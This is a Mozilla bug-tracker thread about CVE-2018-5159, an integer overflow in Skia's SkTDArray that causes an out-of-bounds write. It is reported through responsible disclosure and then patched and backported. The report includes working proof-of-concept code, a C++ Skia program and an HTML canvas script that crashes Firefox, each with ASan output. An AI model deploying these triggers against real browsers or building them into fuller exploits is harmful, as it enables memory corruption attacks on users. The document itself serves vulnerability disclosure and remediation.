1441941 - (CVE-2018-5159) Skia and Firefox: Integer overflow in SkTDArray leading to out-of-bounds write

Status: RESOLVED FIXED

(Core :: Graphics, defect, P1)

Description

[Ivan Fratric]

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36

Steps to reproduce:

Hi, below is a bug report for a bug I also reported today in the Skia issue tracker (https://bugs.chromium.org/p/skia/issues/detail?id=7674). I assume it will be handled over there, but since this is a security issue impacting Firefox and since it is under 90-day disclosure deadline I am reporting it here as well. I also want to raise attention to the fact that Skia in Mozilla repository is at least several months behind the version in https://cs.chromium.org so apart from this issue you are also affected by other issues that are already fixed in the main repo.

Please let me know how you would prefer to handle issues like this in the future.

Original report follows:

***Please note: This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.***

In Skia, SkTDArray stores length (fCount) and capacity (fReserve) as 32-bit ints and does not perform any integer overflow checks. There are a couple of places where an integer overflow could occur:

(1) https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=369
(2) https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=382
(3) https://cs.chromium.org/chromium/src/third_party/skia/include/private/SkTDArray.h?rcl=a93a14a99816d25b773f0b12868143702baf44bf&l=383

and possibly others

In addition, on 32-bit systems, multiplication integer overflows could occur in several places where expressions such as

fReserve * sizeof(T)
sizeof(T) * count

etc. are used.

An integer overflow in (2) above is especially dangerous as it will cause too little memory to be allocated to hold the array which will cause a out-of-bounds write when e.g. appending an element.

I have successfully demonstrated the issue by causing an overflow in fPts array in SkPathMeasure (https://cs.chromium.org/chromium/src/third_party/skia/include/core/SkPathMeasure.h?l=104&rcl=23d97760248300b7aec213a36f8b0485857240b5) which is used when rendering dashed paths.

The PoC requires a lot of memory (My estimate is 16+1 GB for storing the path, additional 16GB for the SkTDArray we are corrupting), however there might be less demanding paths for triggering SkTDArray integer overflows.

PoC program for Skia

=================================================================

#include <stdio.h>

#include "SkCanvas.h"
#include "SkPath.h"
#include "SkGradientShader.h"
#include "SkBitmap.h"
#include "SkDashPathEffect.h"

int main (int argc, char * const argv[]) {

    SkBitmap bitmap;
    bitmap.allocN32Pixels(500, 500);

    //Create Canvas
    SkCanvas canvas(bitmap);

    SkPaint p;
    p.setAntiAlias(false);
    float intervals[] = { 0, 10e9f };
    p.setStyle(SkPaint::kStroke_Style);
    p.setPathEffect(SkDashPathEffect::Make(intervals, SK_ARRAY_COUNT(intervals), 0));

    SkPath path;
    
    unsigned quadraticarr[] = {13, 68, 258, 1053, 1323, 2608, 10018, 15668, 59838, 557493, 696873, 871098, 4153813, 15845608, 48357008, 118059138, 288230353, 360287948, 562949933, 703687423, 1099511613, 0};
    path.moveTo(0, 0);
    unsigned numpoints = 1;
    unsigned i = 1;
    unsigned qaindex = 0;
    while(numpoints < 2147483647) {
      if(numpoints == quadraticarr[qaindex]) {
        path.quadTo(i, 0, i, 0);
        qaindex++;
        numpoints += 2;
      } else {
        path.lineTo(i, 0);
        numpoints += 1;
      }
      i++;
      if(i == 1000000) {
        path.moveTo(0, 0);
        numpoints += 1;
        i = 1;
      }
    }

    printf("done building path\n");

    canvas.drawPath(path, p);

    return 0;
}

=================================================================

ASan output:

ASAN:DEADLYSIGNAL
=================================================================
==39779==ERROR: AddressSanitizer: SEGV on unknown address 0x7fefc321c7d8 (pc 0x7ff2dac9cf66 bp 0x7ffcb5a46540 sp 0x7ffcb5a45cc8 T0)
    #0 0x7ff2dac9cf65  (/lib/x86_64-linux-gnu/libc.so.6+0x83f65)
    #1 0x7bb66c in __asan_memcpy (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x7bb66c)
    #2 0xcb2a33 in SkTDArray<SkPoint>::append(int, SkPoint const*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../include/private/../private/SkTDArray.h:184:17
    #3 0xcb8b9a in SkPathMeasure::buildSegments() /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkPathMeasure.cpp:341:21
    #4 0xcbb5f4 in SkPathMeasure::getLength() /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkPathMeasure.cpp:513:9
    #5 0xcbb5f4 in SkPathMeasure::nextContour() /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkPathMeasure.cpp:688
    #6 0x1805c14 in SkDashPath::InternalFilter(SkPath*, SkPath const&, SkStrokeRec*, SkRect const*, float const*, int, float, int, float, SkDashPath::StrokeRecApplication) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/utils/SkDashPath.cpp:482:14
    #7 0xe9cf60 in SkDashImpl::filterPath(SkPath*, SkPath const&, SkStrokeRec*, SkRect const*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/effects/SkDashPathEffect.cpp:40:12
    #8 0xc8fbef in SkPaint::getFillPath(SkPath const&, SkPath*, SkRect const*, float) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkPaint.cpp:1500:24
    #9 0xbdbc26 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1120:18
    #10 0x169b16e in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.h:58:9
    #11 0x169b16e in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:226
    #12 0xb748d1 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2167:9
    #13 0xb6b01a in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:1757:5
    #14 0x8031dc in main /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../example/SkiaSDLExample.cpp:49:5
    #15 0x7ff2dac392b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
    #16 0x733519 in _start (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x733519)

The issue can also be triggered via the web in Mozilla Firefox

PoC for Mozilla Firefox on Linux (I used Firefox ASan build from https://developer.mozilla.org/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer)

=================================================================

<canvas id="canvas" width="64" height="64"></canvas>
<br>
<button onclick="go()">go</button>
<script>
var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");

function go() {
  ctx.beginPath();

  ctx.mozImageSmoothingEnabled = false;
  ctx.webkitImageSmoothingEnabled = false;
  ctx.msImageSmoothingEnabled = false;
  ctx.imageSmoothingEnabled = false;

  linedasharr = [0, 1e+37];
  ctx.setLineDash(linedasharr);

  quadraticarr = [13, 68, 258, 1053, 1323, 2608, 10018, 15668, 59838, 557493, 696873, 871098, 4153813, 15845608, 48357008, 118059138, 288230353, 360287948, 562949933, 703687423, 1099511613];
  ctx.moveTo(0, 0);
  numpoints = 1;
  i = 1;
  qaindex = 0;
  while(numpoints < 2147483647) {
    if(numpoints == quadraticarr[qaindex]) {
      ctx.quadraticCurveTo(i, 0, i, 0);
      qaindex++;
      numpoints += 2;
    } else {
      ctx.lineTo(i, 0);
      numpoints += 1;
    }
    i++;
    if(i == 1000000) {
      ctx.moveTo(0, 0);
      numpoints += 1;
      i = 1;
    }
  }

  alert("done building path");

  ctx.stroke();

  alert("exploit failed");
}

</script>

=================================================================

ASan output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==37732==ERROR: AddressSanitizer: SEGV on unknown address 0x7ff86d20e7d8 (pc 0x7ff7c1233701 bp 0x7fffd19dd5f0 sp 0x7fffd19dd420 T0)
==37732==The signal is caused by a WRITE memory access.
    #0 0x7ff7c1233700 in append /builds/worker/workspace/build/src/gfx/skia/skia/include/core/../private/SkTDArray.h:184:17
    #1 0x7ff7c1233700 in SkPathMeasure::buildSegments() /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkPathMeasure.cpp:342
    #2 0x7ff7c1235be1 in getLength /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkPathMeasure.cpp:516:15
    #3 0x7ff7c1235be1 in SkPathMeasure::nextContour() /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkPathMeasure.cpp:688
    #4 0x7ff7c112905e in SkDashPath::InternalFilter(SkPath*, SkPath const&, SkStrokeRec*, SkRect const*, float const*, int, float, int, float, SkDashPath::StrokeRecApplication) /builds/worker/workspace/build/src/gfx/skia/skia/src/utils/SkDashPath.cpp:307:19
    #5 0x7ff7c0bf9ed0 in SkDashPathEffect::filterPath(SkPath*, SkPath const&, SkStrokeRec*, SkRect const*) const /builds/worker/workspace/build/src/gfx/skia/skia/src/effects/SkDashPathEffect.cpp:40:12
    #6 0x7ff7c1210ed6 in SkPaint::getFillPath(SkPath const&, SkPath*, SkRect const*, float) const /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkPaint.cpp:1969:37
    #7 0x7ff7c0ec9156 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkDraw.cpp:1141:25
    #8 0x7ff7c0b8de4b in drawPath /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkDraw.h:55:15
    #9 0x7ff7c0b8de4b in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkBitmapDevice.cpp:235
    #10 0x7ff7c0bbc691 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /builds/worker/workspace/build/src/gfx/skia/skia/src/core/SkCanvas.cpp:2227:23
    #11 0x7ff7b86965b4 in mozilla::gfx::DrawTargetSkia::Stroke(mozilla::gfx::Path const*, mozilla::gfx::Pattern const&, mozilla::gfx::StrokeOptions const&, mozilla::gfx::DrawOptions const&) /builds/worker/workspace/build/src/gfx/2d/DrawTargetSkia.cpp:829:12
    #12 0x7ff7bbd34dcc in mozilla::dom::CanvasRenderingContext2D::Stroke() /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContext2D.cpp:3562:11
    #13 0x7ff7ba9b0701 in mozilla::dom::CanvasRenderingContext2DBinding::stroke(JSContext*, JS::Handle<JSObject*>, mozilla::dom::CanvasRenderingContext2D*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CanvasRenderingContext2DBinding.cpp:3138:13
    #14 0x7ff7bbc3b4d1 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3031:13
    #15 0x7ff7c26ae3b8 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:290:15
    #16 0x7ff7c26ae3b8 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:467
    #17 0x7ff7c28ecd17 in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jit/BaselineIC.cpp:2383:14
    #18 0x1a432b56061a  (<unknown module>)

Comment 1

[Milan Sreckovic [:milan] (needinfo for best results)]

We're in the process of updating Skia, we'd have to cherry pick whatever fixes this issue.

Comment 2

[Lee Salzman [:lsalzman]]

Attachment: limit allocations in SkTDArray

This patch depends on the Skia m66 update in bug 1444506 for the safer sk_malloc_thow/sk_realloc_throw variants which take care of the size_t overflows. These versions will fling an error at us if the multiplication by size would overflow. All downwind cases where SkTDArray does the count * sizeof(T) itself are guarded by this, so we'll hit the exception in the sk_malloc routines before we ever have to deal with the consequences of the overflow now.

In the remaining cases, we need to ensure the int addition doesn't overflow. Skia doesn't currently have a convenient mechanism for this aside from manual error checks, so we have to do release asserts against the int limits to verify here.

Comment 3

[Ivan Fratric]

Doesn't std::numeric_limits<int>::max() return an int? If so, std::numeric_limits<int>::max() * 4 is going to overflow so the check won't work as intended.

Comment 4

[Lee Salzman [:lsalzman]]

Attachment: limit allocations in SkTDArray

v2, fix assert condition overflow

Comment 5

[Lee Salzman [:lsalzman]]

Attachment: limit allocations in SkTDArray

v3, typo fix. Oops.

Comment 6

[Lee Salzman [:lsalzman]]

Comment on attachment 8958166 [details] [diff] [review]
limit allocations in SkTDArray

[Security approval request comment]
> How easily could an exploit be constructed based on the patch?
See above.

> Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
Nothing specific.

> Which older supported branches are affected by this flaw?
All.

> Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Requires some sk_malloc machinery in Skia m66 update from bug 1444506.

> How likely is this patch to cause regressions; how much testing does it need?
Unlikely, just asserts instead of overflows.

Comment 7

[Al Billings [:abillings - ex-MoCo]]

Sec-approval for March 27, two weeks into the new release cycle. Please don't check it into trunk before then.

At that point, we'll want patches for other affected branches nominated as well.

Comment 8

[Lee Salzman [:lsalzman]]

Comment on attachment 8958166 [details] [diff] [review]
limit allocations in SkTDArray

Approval Request Comment
[Feature/Bug causing the regression]: Pr-existing
[User impact if declined]: Sec-high exploit via canvas.
[Is this code covered by automated tests?]: Yes
[Has the fix been verified in Nightly?]: Pending
[Needs manual test from QE? If yes, steps to reproduce]: No 
[List of other uplifts needed for the feature/fix]:
[Is the change risky?]: No
[Why is the change risky/not risky?]: Just replaces crashes and other undefined behavior with release assert. Shouldn't affect legitimate canvas usage.
[String changes made/needed]: None

Comment 9

[Julien Cristau [:jcristau]]

Comment on attachment 8958166 [details] [diff] [review]
limit allocations in SkTDArray

skia sec fix, beta60+

Comment 10

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/e9c980945ea67dd94a2ebee210f12077ad8e1a7d

Comment 11

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-beta/rev/6fc09a406b3b

What needs to be done for ESR52 here?

Comment 12

[Lee Salzman [:lsalzman]]

(In reply to Ryan VanderMeulen [:RyanVM] from comment #11)
> https://hg.mozilla.org/releases/mozilla-beta/rev/6fc09a406b3b
> 
> What needs to be done for ESR52 here?

Certain mechanisms this patch uses (the non-overflow allocs) do not exist in Skia in 52 ESR, so I'd need to come up with a solution for that.

Comment 13

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/mozilla-central/rev/e9c980945ea6

Comment 14

[Lee Salzman [:lsalzman]]

Attachment: limit allocations in SkTDArray (52 ESR)

This backports the safe sk_malloc_throw variants that were used in this patch so that it will work with the older Skia in 52 ESR.

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: Sec-high exploit via canvas.
Fix Landed on Version: 61 and uplifted to 60
Risk to taking this patch (and alternatives if risky): Not risky, just adding some release asserts where normally overflows might lead to crashes and other dangerous behavior.
String or UUID changes made by this patch: None

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Comment 15

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 8962999 [details] [diff] [review]
limit allocations in SkTDArray (52 ESR)

Approved for ESR 52.8.

Comment 16

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr52/rev/8ff2c4d68e36

Comment 17

[Andrei Vaida [:avaida]]

(In reply to Lee Salzman [:lsalzman] from comment #8)
> [Is this code covered by automated tests?]: Yes
> [Needs manual test from QE? If yes, steps to reproduce]: No 
> [List of other uplifts needed for the feature/fix]:
> [Is the change risky?]: No

Does not require manual testing, per Lee.

Comment 18

[Andrew McCreight [:mccr8]]

The Project Zero report for this bug is now public:
  https://bugs.chromium.org/p/project-zero/issues/detail?id=1541